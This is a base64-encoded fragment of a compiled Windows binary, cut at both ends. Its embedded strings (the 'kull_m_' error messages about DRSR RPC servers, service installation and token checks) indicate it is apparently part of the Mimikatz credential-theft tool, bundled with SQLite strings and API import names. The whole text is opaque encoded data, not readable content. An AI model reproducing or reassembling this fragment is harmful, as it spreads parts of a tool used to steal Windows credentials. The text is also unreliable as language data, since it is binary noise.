AbQBfAHIAcABjAF8AZAByAHMAcgBfAHMAdABhAHIAdABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAFMAZQByAHYAZQByAEkAbgBxAEIAaQBuAGQAaQBuAGcAcwA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBzAHQAYQByAHQAXwBzAGUAcgB2AGUAcgAgADsAIABSAHAAYwBTAGUAcgB2AGUAcgBSAGUAZwBpAHMAdABlAHIASQBmADIAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AGEAcgB0AF8AcwBlAHIAdgBlAHIAIAA7ACAAUgBwAGMAUwBlAHIAdgBlAHIAUgBlAGcAaQBzAHQAZQByAEEAdQB0AGgASQBuAGYAbwA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AGEAcgB0AF8AcwBlAHIAdgBlAHIAIAA7ACAAUgBwAGMAUwBlAHIAdgBlAHIAVQBzAGUAUAByAG8AdABzAGUAcQBFAHAAOgAgACUAMAA4AHgACgAAACAAPgAgAFIAUABDACAAYgBpAG4AZAAgAHUAbgByAGUAZwBpAHMAdABlAHIAZQBkAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAHMAdABvAHAAXwBzAGUAcgB2AGUAcgAgADsAIABSAHAAYwBFAHAAVQBuAHIAZQBnAGkAcwB0AGUAcgA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAHMAdABvAHAAXwBzAGUAcgB2AGUAcgAgADsAIABSAHAAYwBTAGUAcgB2AGUAcgBJAG4AcQBCAGkAbgBkAGkAbgBnAHMAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AG8AcABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAFMAZQByAHYAZQByAFUAbgByAGUAZwBpAHMAdABlAHIASQBmADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAHMAdABvAHAAXwBzAGUAcgB2AGUAcgAgADsAIABSAHAAYwBNAGcAbQB0AFMAdABvAHAAUwBlAHIAdgBlAHIATABpAHMAdABlAG4AaQBuAGcAOgAgACUAMAA4AHgACgAAACAAPgAgAHMAdABvAHAAcABpAG4AZwAgAFIAUABDACAAcwBlAHIAdgBlAHIACgAAACAAPgAgAFIAUABDACAAcwBlAHIAdgBlAHIAIABzAHQAbwBwAHAAZQBkAAoAAAAAAFUEAABVBgAAKoZIhvcUAQIAAAAAKoZIhvcUAQMAAAAAYIZIAWUCAgEAAAAAYIZIAWUCAgMAAAAAYIZIAWUCAQUAAAAAYIZIAWUCAQQAAAAAVQUAACqGSIb3FAEEAAAAACqGSIb3FAEFAAAAAAmSJomT8ixkAAAAAGCGSAGG+EIDAAAAAAmSJomT8ixkAQAAAGCGSAGG+EIDAQAAACqGSIb3FAEFtlgAAFUVAABVEgAAVRQAACsGAQQBizpldwAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAAAAAAFsAKwBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIABhAGwAcgBlAGEAZAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAAABbACoAXQAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAABbACsAXQAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAAAAAAAWwArAF0AIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgAEEAQwBMACAAdABvACAAZQB2AGUAcgB5AG8AbgBlAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AaQBuAHMAdABhAGwAbAAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBhAGQAZABXAG8AcgBsAGQAVABvAFMARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AaQBuAHMAdABhAGwAbAAgADsAIABDAHIAZQBhAHQAZQBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGkAbgBzAHQAYQBsAGwAIAA7ACAATwBwAGUAbgBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIABzAHQAYQByAHQAZQBkAAoAAABbACoAXQAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAYQBsAHIAZQBhAGQAeQAgAHMAdABhAHIAdABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBpAG4AcwB0AGEAbABsACAAOwAgAFMAdABhAHIAdABTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AaQBuAHMAdABhAGwAbAAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbACsAXQAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAcwB0AG8AcABwAGUAZAAKAAAAWwAqAF0AIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AdQBuAGkAbgBzAHQAYQBsAGwAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcwB0AG8AcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbACsAXQAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAcgBlAG0AbwB2AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHUAbgBpAG4AcwB0AGEAbABsACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHIAZQBtAG8AdgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUAdwBaAAAAJQAwADIAeAAAAAAAJQAwADIAeAAgAAAAMAB4ACUAMAAyAHgALAAgAAAAAABcAHgAJQAwADIAeAAAAAAACgBCAFkAVABFACAAZABhAHQAYQBbAF0AIAA9ACAAewAKAAkAAAAAAAkAAAAKAH0AOwAKAAAAAAAlAHMAIAAAACUAcwAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAGQAaQBzAHAAbABhAHkAUwBJAEQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbwBuAAAAAAB0AHIAdQBlAAAAAAAxAAAAbwBmAGYAAABmAGEAbABzAGUAAAAwAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBhAHIAZwBzAF8AYgBvAG8AbABfAGIAeQBOAGEAbQBlACAAOwAgACUAcwAgAGEAcgBnAHUAbQBlAG4AdAAgAG4AZQBlAGQAIABvAG4ALwB0AHIAdQBlAC8AMQAgAG8AcgAgAG8AZgBmAC8AZgBhAGwAcwBlAC8AMAAKAAAAJQBoAHUALwAlAGgAdQAvACUAaAB1ACAAJQBoAHUAOgAlAGgAdQA6ACUAaAB1AAAAJQBoAHUALQAlAGgAdQAtACUAaAB1ACAAJQBoAHUAOgAlAGgAdQA6ACUAaAB1AAAAJQBoAHUALwAlAGgAdQAgACUAaAB1ADoAJQBoAHUAOgAlAGgAdQAAACUAaAB1AC0AJQBoAHUAIAAlAGgAdQA6ACUAaAB1ADoAJQBoAHUAAAAlAGgAdQAgACUAaAB1ADoAJQBoAHUAOgAlAGgAdQAAACUAaAB1ADoAJQBoAHUAOgAlAGgAdQAAACUAaAB1AC8AJQBoAHUALwAlAGgAdQAAACUAaAB1AC0AJQBoAHUALQAlAGgAdQAAACUAaAB1AC8AJQBoAHUAAAAlAGgAdQAtACUAaAB1AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAOwAgAEQAdQBwAGwAaQBjAGEAdABlAFQAbwBrAGUAbgBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAOwAgAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBDAGgAZQBjAGsAVABvAGsAZQBuAE0AZQBtAGIAZQByAHMAaABpAHAAIAA7ACAARwBlAHQAVABvAGsAZQBuAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAVQBzAGUAcgAAAAAARwByAG8AdQBwAAAARABvAG0AYQBpAG4AAAAAAEEAbABpAGEAcwAAAFcAZQBsAGwASwBuAG8AdwBuAEcAcgBvAHUAcAAAAAAARABlAGwAZQB0AGUAZABBAGMAYwBvAHUAbgB0AAAAAABJAG4AdgBhAGwAaQBkAAAAVQBuAGsAbgBvAHcAbgAAAEMAbwBtAHAAdQB0AGUAcgAAAAAATABhAGIAZQBsAAAAdQBuAGsAIQAAAAAAVABvAGsAZQBuAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQAVABvAGsAZQBuAHMAVQBuAGkAcQB1AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUASABhAG4AZABsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZQBxAHUAYQBsACAAOwAgAE4AdABDAG8AbQBwAGEAcgBlAFQAbwBrAGUAbgBzADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwB4AG0AbABfAEMAcgBlAGEAdABlAEEAbgBkAEkAbgBpAHQARABPAE0AIAA7ACAAQwBvAEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHgAbQBsAF8ATABvAGEAZABYAE0ATABGAGkAbABlACAAOwAgAEkAWABNAEwARABPAE0ARABvAGMAdQBtAGUAbgB0AF8AbABvAGEAZAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAMAAAADEAAAAlSDolTTolUwAAAABjdXJyZW50X3RpbWUAAAAAJVktJW0tJWQAAAAAY3VycmVudF9kYXRlAAAAACVZLSVtLSVkICVIOiVNOiVTAAAAY3VycmVudF90aW1lc3RhbXAAAABmYWlsZWQgdG8gYWxsb2NhdGUgJXUgYnl0ZXMgb2YgbWVtb3J5AAAAZmFpbGVkIG1lbW9yeSByZXNpemUgJXUgdG8gJXUgYnl0ZXMAJQAAAE5VTEwAAAAAKE5VTEwpAAAuAAAAAAAAAAAAAAA5MjIzMzcyMDM2ODU0Nzc1ODAAAEFQSSBjYWxsIHdpdGggJXMgZGF0YWJhc2UgY29ubmVjdGlvbiBwb2ludGVyAAAAAHVub3BlbmVkAAAAAGludmFsaWQAQXJlRmlsZUFwaXNBTlNJAENoYXJMb3dlclcAAENoYXJVcHBlclcAAENsb3NlSGFuZGxlAENyZWF0ZUZpbGVBAENyZWF0ZUZpbGVXAENyZWF0ZUZpbGVNYXBwaW5nQQAAQ3JlYXRlRmlsZU1hcHBpbmdXAABDcmVhdGVNdXRleFcAAAAARGVsZXRlRmlsZUEARGVsZXRlRmlsZVcARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUARmlsZVRpbWVUb1N5c3RlbVRpbWUAAAAARmx1c2hGaWxlQnVmZmVycwAAAABGb3JtYXRNZXNzYWdlQQAARm9ybWF0TWVzc2FnZVcAAEZyZWVMaWJyYXJ5AEdldEN1cnJlbnRQcm9jZXNzSWQAR2V0RGlza0ZyZWVTcGFjZUEAAABHZXREaXNrRnJlZVNwYWNlVwAAAEdldEZpbGVBdHRyaWJ1dGVzQQAAR2V0RmlsZUF0dHJpYnV0ZXNXAABHZXRGaWxlQXR0cmlidXRlc0V4VwAAAABHZXRGaWxlU2l6ZQBHZXRGdWxsUGF0aE5hbWVBAAAAAEdldEZ1bGxQYXRoTmFtZVcAAAAAR2V0TGFzdEVycm9yAAAAAEdldFByb2NBZGRyZXNzQQBHZXRTeXN0ZW1JbmZvAAAAR2V0U3lzdGVtVGltZQAAAEdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAEdldFRlbXBQYXRoQQAAAABHZXRUZW1wUGF0aFcAAAAAR2V0VGlja0NvdW50AAAAAEdldFZlcnNpb25FeEEAAABHZXRWZXJzaW9uRXhXAAAASGVhcEFsbG9jAAAASGVhcENyZWF0ZQAASGVhcERlc3Ryb3kASGVhcEZyZWUAAAAASGVhcFJlQWxsb2MASGVhcFNpemUAAAAASGVhcFZhbGlkYXRlAAAAAEhlYXBDb21wYWN0AExvYWRMaWJyYXJ5QQAAAABMb2FkTGlicmFyeVcAAAAATG9jYWxGcmVlAAAATG9ja0ZpbGUAAAAATG9ja0ZpbGVFeAAATWFwVmlld09mRmlsZQAAAE11bHRpQnl0ZVRvV2lkZUNoYXIAUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAUmVhZEZpbGUAAAAAU2V0RW5kT2ZGaWxlAAAAAFNldEZpbGVQb2ludGVyAABTbGVlcAAAAFN5c3RlbVRpbWVUb0ZpbGVUaW1lAAAAAFVubG9ja0ZpbGUAAFVubG9ja0ZpbGVFeAAAAABVbm1hcFZpZXdPZkZpbGUAV2lkZUNoYXJUb011bHRpQnl0ZQBXcml0ZUZpbGUAAABDcmVhdGVFdmVudEV4VwAAV2FpdEZvclNpbmdsZU9iamVjdABXYWl0Rm9yU2luZ2xlT2JqZWN0RXgAAABTZXRGaWxlUG9pbnRlckV4AAAAAEdldEZpbGVJbmZvcm1hdGlvbkJ5SGFuZGxlRXgAAAAATWFwVmlld09mRmlsZUZyb21BcHAAAAAAQ3JlYXRlRmlsZTIATG9hZFBhY2thZ2VkTGlicmFyeQBHZXRUaWNrQ291bnQ2NAAAR2V0TmF0aXZlU3lzdGVtSW5mbwBPdXRwdXREZWJ1Z1N0cmluZ0EAAE91dHB1dERlYnVnU3RyaW5nVwAAR2V0UHJvY2Vzc0hlYXAAAENyZWF0ZUZpbGVNYXBwaW5nRnJvbUFwcAAAAABJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAAVXVpZENyZWF0ZQAAVXVpZENyZWF0ZVNlcXVlbnRpYWwAAAAARmx1c2hWaWV3T2ZGaWxlAE9zRXJyb3IgMHglbHggKCVsdSkAJXMAAG9zX3dpbi5jOiVkOiAoJWx1KSAlcyglcykgLSAlcwAAZGVsYXllZCAlZG1zIGZvciBsb2NrL3NoYXJpbmcgY29uZmxpY3QgYXQgbGluZSAlZAAAAHdpblNlZWtGaWxlAHdpbkNsb3NlAAAAAHdpblJlYWQAd2luV3JpdGUxAAAAd2luV3JpdGUyAAAAd2luVHJ1bmNhdGUxAAAAAHdpblRydW5jYXRlMgAAAAB3aW5TeW5jMQAAAAB3aW5TeW5jMgAAAAB3aW5GaWxlU2l6ZQB3aW5VbmxvY2tSZWFkTG9jawAAAHdpblVubG9jawAAAHdpblVubWFwZmlsZTEAAAB3aW5Vbm1hcGZpbGUyAAAAd2luTWFwZmlsZTEAd2luTWFwZmlsZTIAZXRpbHFzXwB3aW5HZXRUZW1wbmFtZTEAd2luR2V0VGVtcG5hbWUyAHdpbkdldFRlbXBuYW1lMwB3aW5HZXRUZW1wbmFtZTQAd2luR2V0VGVtcG5hbWU1AHdpbk9wZW4AcHNvdwAAAAB3aW5EZWxldGUAAAB3aW5BY2Nlc3MAAAAlcyVjJXMAAHdpbkZ1bGxQYXRobmFtZTEAAAAAd2luRnVsbFBhdGhuYW1lMgAAAAB3aW5GdWxsUGF0aG5hbWUzAAAAAHdpbkZ1bGxQYXRobmFtZTQAAAAAd2luMzIAAAB3aW4zMi1sb25ncGF0aAAAcmVjb3ZlcmVkICVkIHBhZ2VzIGZyb20gJXMAAC1qb3VybmFsAAAAAG5vbG9jawAAaW1tdXRhYmxlAAAAb3V0IG9mIG1lbW9yeQAAACVsbGQAAAAAJSEuMTVnAAAtAAAAJXMlcwAAAAAlcy1talhYWFhYWDlYWHoATUogZGVsZXRlOiAlcwAAAE1KIGNvbGxpZGU6ICVzAAAtbWolMDZYOSUwMlgAAAAAQVBJIGNhbGxlZCB3aXRoIGZpbmFsaXplZCBwcmVwYXJlZCBzdGF0ZW1lbnQAAAAAQVBJIGNhbGxlZCB3aXRoIE5VTEwgcHJlcGFyZWQgc3RhdGVtZW50AHN0cmluZyBvciBibG9iIHRvbyBiaWcAAHVuYWJsZSB0byB1c2UgZnVuY3Rpb24gJXMgaW4gdGhlIHJlcXVlc3RlZCBjb250ZXh0AABiaW5kIG9uIGEgYnVzeSBwcmVwYXJlZCBzdGF0ZW1lbnQ6IFslc10ATk9UIE5VTEwAAAAAVU5JUVVFAABDSEVDSwAAAEZPUkVJR04gS0VZACVzIGNvbnN0cmFpbnQgZmFpbGVkAAAAACV6OiAlcwAAYWJvcnQgYXQgJWQgaW4gWyVzXTogJXMAY2Fubm90IG9wZW4gc2F2ZXBvaW50IC0gU1FMIHN0YXRlbWVudHMgaW4gcHJvZ3Jlc3MAAG5vIHN1Y2ggc2F2ZXBvaW50OiAlcwAAAGNhbm5vdCByZWxlYXNlIHNhdmVwb2ludCAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAAAAY2Fubm90IGNvbW1pdCB0cmFuc2FjdGlvbiAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAABjYW5ub3Qgc3RhcnQgYSB0cmFuc2FjdGlvbiB3aXRoaW4gYSB0cmFuc2FjdGlvbgBjYW5ub3Qgcm9sbGJhY2sgLSBubyB0cmFuc2FjdGlvbiBpcyBhY3RpdmUAAGNhbm5vdCBjb21taXQgLSBubyB0cmFuc2FjdGlvbiBpcyBhY3RpdmUAAAAAZGF0YWJhc2Ugc2NoZW1hIGhhcyBjaGFuZ2VkAHNxbGl0ZV9tYXN0ZXIAAAAAAAAAU0VMRUNUIG5hbWUsIHJvb3RwYWdlLCBzcWwgRlJPTSAnJXEnLiVzIFdIRVJFICVzIE9SREVSIEJZIHJvd2lkAHN0YXRlbWVudCBhYm9ydHMgYXQgJWQ6IFslc10gJXMAbWlzdXNlIG9mIGFsaWFzZWQgYWdncmVnYXRlICVzAABubyBzdWNoIGNvbHVtbgAAYW1iaWd1b3VzIGNvbHVtbiBuYW1lAAAAJXM6ICVzLiVzLiVzAAAAACVzOiAlcy4lcwAAACVzOiAlcwAAcGFydGlhbCBpbmRleCBXSEVSRSBjbGF1c2VzAGluZGV4IGV4cHJlc3Npb25zAAAAJXMgcHJvaGliaXRlZCBpbiAlcwB0aGUgIi4iIG9wZXJhdG9yAAAAAGZ1bmN0aW9ucwAAAHNlY29uZCBhcmd1bWVudCB0byBsaWtlbGlob29kKCkgbXVzdCBiZSBhIGNvbnN0YW50IGJldHdlZW4gMC4wIGFuZCAxLjAAAG5vbi1kZXRlcm1pbmlzdGljIGZ1bmN0aW9ucwBtaXN1c2Ugb2YgYWdncmVnYXRlIGZ1bmN0aW9uICUuKnMoKQBubyBzdWNoIGZ1bmN0aW9uOiAlLipzAAB3cm9uZyBudW1iZXIgb2YgYXJndW1lbnRzIHRvIGZ1bmN0aW9uICUuKnMoKQAAAABzdWJxdWVyaWVzAABwYXJhbWV0ZXJzAAAlciAlcyBCWSB0ZXJtIG91dCBvZiByYW5nZSAtIHNob3VsZCBiZSBiZXR3ZWVuIDEgYW5kICVkAHRvbyBtYW55IHRlcm1zIGluIE9SREVSIEJZIGNsYXVzZQAAAE9SREVSAAAAJXIgT1JERVIgQlkgdGVybSBkb2VzIG5vdCBtYXRjaCBhbnkgY29sdW1uIGluIHRoZSByZXN1bHQgc2V0AAAAAHRvbyBtYW55IHRlcm1zIGluICVzIEJZIGNsYXVzZQAAYSBHUk9VUCBCWSBjbGF1c2UgaXMgcmVxdWlyZWQgYmVmb3JlIEhBVklORwBHUk9VUAAAAGFnZ3JlZ2F0ZSBmdW5jdGlvbnMgYXJlIG5vdCBhbGxvd2VkIGluIHRoZSBHUk9VUCBCWSBjbGF1c2UAAEV4cHJlc3Npb24gdHJlZSBpcyB0b28gbGFyZ2UgKG1heGltdW0gZGVwdGggJWQpAHZhcmlhYmxlIG51bWJlciBtdXN0IGJlIGJldHdlZW4gPzEgYW5kID8lZAAAdG9vIG1hbnkgU1FMIHZhcmlhYmxlcwAAdG9vIG1hbnkgY29sdW1ucyBpbiAlcwAAX1JPV0lEXwBST1dJRAAAAE9JRABvdmVyc2l6ZWQgaW50ZWdlcjogJXMlcwBtaXN1c2Ugb2YgYWdncmVnYXRlOiAlcygpAAAAdW5rbm93biBmdW5jdGlvbjogJXMoKQAAJXMgJVQgY2Fubm90IHJlZmVyZW5jZSBvYmplY3RzIGluIGRhdGFiYXNlICVzAAAAbm8gc3VjaCB0YWJsZQAAAGNvcnJ1cHQgZGF0YWJhc2UAAAAAdW5rbm93biBkYXRhYmFzZSAlVABzcWxpdGVfAG9iamVjdCBuYW1lIHJlc2VydmVkIGZvciBpbnRlcm5hbCB1c2U6ICVzAAAAdGFibGUgJVQgYWxyZWFkeSBleGlzdHMAdGhlcmUgaXMgYWxyZWFkeSBhbiBpbmRleCBuYW1lZCAlcwAAdG9vIG1hbnkgY29sdW1ucyBvbiAlcwAAZHVwbGljYXRlIGNvbHVtbiBuYW1lOiAlcwAAAGRlZmF1bHQgdmFsdWUgb2YgY29sdW1uIFslc10gaXMgbm90IGNvbnN0YW50AAAAAHRhYmxlICIlcyIgaGFzIG1vcmUgdGhhbiBvbmUgcHJpbWFyeSBrZXkAAAAASU5URUdFUgAsAAAAKQAAAAogIAAsCiAgAAAAAAopAABDUkVBVEUgVEFCTEUgAAAAIFRFWFQAAAAgTlVNAAAAACBJTlQAAAAAIFJFQUwAAABBVVRPSU5DUkVNRU5UIG5vdCBhbGxvd2VkIG9uIFdJVEhPVVQgUk9XSUQgdGFibGVzAAAAUFJJTUFSWSBLRVkgbWlzc2luZyBvbiB0YWJsZSAlcwB0YWJsZQAAAFRBQkxFAAAAQ1JFQVRFICVzICUuKnMAAAAAAABVUERBVEUgJVEuJXMgU0VUIHR5cGU9JyVzJywgbmFtZT0lUSwgdGJsX25hbWU9JVEsIHJvb3RwYWdlPSMlZCwgc3FsPSVRIFdIRVJFIHJvd2lkPSMlZAAAdGJsX25hbWU9JyVxJyBBTkQgdHlwZSE9J3RyaWdnZXInAAAAc3FsaXRlX3N0YXQlZAAAAERFTEVURSBGUk9NICVRLiVzIFdIRVJFICVzPSVRAAAAREVMRVRFIEZST00gJVEuJXMgV0hFUkUgdGJsX25hbWU9JVEgYW5kIHR5cGUhPSd0cmlnZ2VyJwBzcWxpdGVfc3RhdAB0YWJsZSAlcyBtYXkgbm90IGJlIGRyb3BwZWQAdGJsAGluZGV4AAAAY2Fubm90IGNyZWF0ZSBhIFRFTVAgaW5kZXggb24gbm9uLVRFTVAgdGFibGUgIiVzIgAAAGFsdGVydGFiXwAAAHRhYmxlICVzIG1heSBub3QgYmUgaW5kZXhlZAB0aGVyZSBpcyBhbHJlYWR5IGEgdGFibGUgbmFtZWQgJXMAAABpbmRleCAlcyBhbHJlYWR5IGV4aXN0cwBzcWxpdGVfYXV0b2luZGV4XyVzXyVkAABleHByZXNzaW9ucyBwcm9oaWJpdGVkIGluIFBSSU1BUlkgS0VZIGFuZCBVTklRVUUgY29uc3RyYWludHMAAAAAY29uZmxpY3RpbmcgT04gQ09ORkxJQ1QgY2xhdXNlcyBzcGVjaWZpZWQAAAAgVU5JUVVFAENSRUFURSVzIElOREVYICUuKnMASU5TRVJUIElOVE8gJVEuJXMgVkFMVUVTKCdpbmRleCcsJVEsJVEsIyVkLCVRKTsAbmFtZT0nJXEnIEFORCB0eXBlPSdpbmRleCcAAG5vIHN1Y2ggaW5kZXg6ICVTAAAAaW5kZXggYXNzb2NpYXRlZCB3aXRoIFVOSVFVRSBvciBQUklNQVJZIEtFWSBjb25zdHJhaW50IGNhbm5vdCBiZSBkcm9wcGVkAAAAAERFTEVURSBGUk9NICVRLiVzIFdIRVJFIG5hbWU9JVEgQU5EIHR5cGU9J2luZGV4JwAAAABpZHgAT04AAFVTSU5HAAAAYSBKT0lOIGNsYXVzZSBpcyByZXF1aXJlZCBiZWZvcmUgJXMAaW5kZXggJyVxJwAALCAAACVzLiVzAAAAJXMucm93aWQAAAAAZHVwbGljYXRlIFdJVEggdGFibGUgbmFtZTogJXMAAABubyBzdWNoIGNvbGxhdGlvbiBzZXF1ZW5jZTogJXMAAHRhYmxlICVzIG1heSBub3QgYmUgbW9kaWZpZWQAAAAAcm93cyBkZWxldGVkAAAAAGludGVnZXIAdGV4dAAAAAByZWFsAAAAAGJsb2IAAAAAbnVsbAAAAABpbnRlZ2VyIG92ZXJmbG93AAAAAExJS0Ugb3IgR0xPQiBwYXR0ZXJuIHRvbyBjb21wbGV4AAAAAEVTQ0FQRSBleHByZXNzaW9uIG11c3QgYmUgYSBzaW5nbGUgY2hhcmFjdGVyAAAAACUhLjIwZQAAIAAAAE1BVENIAAAAbGlrZQAAAABnbG9iAAAAAHVubGlrZWx5AAAAAGxpa2VsaWhvb2QAAGxpa2VseQAAbHRyaW0AAABydHJpbQAAAHRyaW0AAAAAbWluAG1heAB0eXBlb2YAAGxlbmd0aAAAaW5zdHIAAABwcmludGYAAHVuaWNvZGUAY2hhcgAAAABhYnMAdXBwZXIAAABsb3dlcgAAAGhleABpZm51bGwAAHJhbmRvbQAAcmFuZG9tYmxvYgAAbnVsbGlmAABzcWxpdGVfdmVyc2lvbgAAc3FsaXRlX3NvdXJjZV9pZAAAAABzcWxpdGVfbG9nAABxdW90ZQAAAGxhc3RfaW5zZXJ0X3Jvd2lkAAAAY2hhbmdlcwB0b3RhbF9jaGFuZ2VzAAAAcmVwbGFjZQB6ZXJvYmxvYgAAAABzdWJzdHIAAHN1bQB0b3RhbAAAAGF2ZwBjb3VudAAAAGdyb3VwX2NvbmNhdAAAAABjb2FsZXNjZQAAAAB0YWJsZSAlUyBoYXMgbm8gY29sdW1uIG5hbWVkICVzAHRhYmxlICVTIGhhcyAlZCBjb2x1bW5zIGJ1dCAlZCB2YWx1ZXMgd2VyZSBzdXBwbGllZAAlZCB2YWx1ZXMgZm9yICVkIGNvbHVtbnMAAAAAcm93cyBpbnNlcnRlZAAAAGF1dG9tYXRpYyBleHRlbnNpb24gbG9hZGluZyBmYWlsZWQ6ICVzAAA/AAAAbWFsZm9ybWVkIGRhdGFiYXNlIHNjaGVtYSAoJXMpAAAleiAtICVzAGNyZWF0ZSAAaW52YWxpZCByb290cGFnZQAAAAAAAAAAQ1JFQVRFIFRBQkxFIHgodHlwZSB0ZXh0LG5hbWUgdGV4dCx0YmxfbmFtZSB0ZXh0LHJvb3RwYWdlIGludGVnZXIsc3FsIHRleHQpAAAAAABhdHRhY2hlZCBkYXRhYmFzZXMgbXVzdCB1c2UgdGhlIHNhbWUgdGV4dCBlbmNvZGluZyBhcyBtYWluIGRhdGFiYXNlAHVuc3VwcG9ydGVkIGZpbGUgZm9ybWF0AFNFTEVDVCBuYW1lLCByb290cGFnZSwgc3FsIEZST00gIiV3Ii4lcyBPUkRFUiBCWSByb3dpZAAAc3RhdGVtZW50IHRvbyBsb25nAAB1bmtub3duIG9yIHVuc3VwcG9ydGVkIGpvaW4gdHlwZTogJVQgJVQlcyVUAFJJR0hUIGFuZCBGVUxMIE9VVEVSIEpPSU5zIGFyZSBub3QgY3VycmVudGx5IHN1cHBvcnRlZAAAYSBOQVRVUkFMIGpvaW4gbWF5IG5vdCBoYXZlIGFuIE9OIG9yIFVTSU5HIGNsYXVzZQAAAGNhbm5vdCBoYXZlIGJvdGggT04gYW5kIFVTSU5HIGNsYXVzZXMgaW4g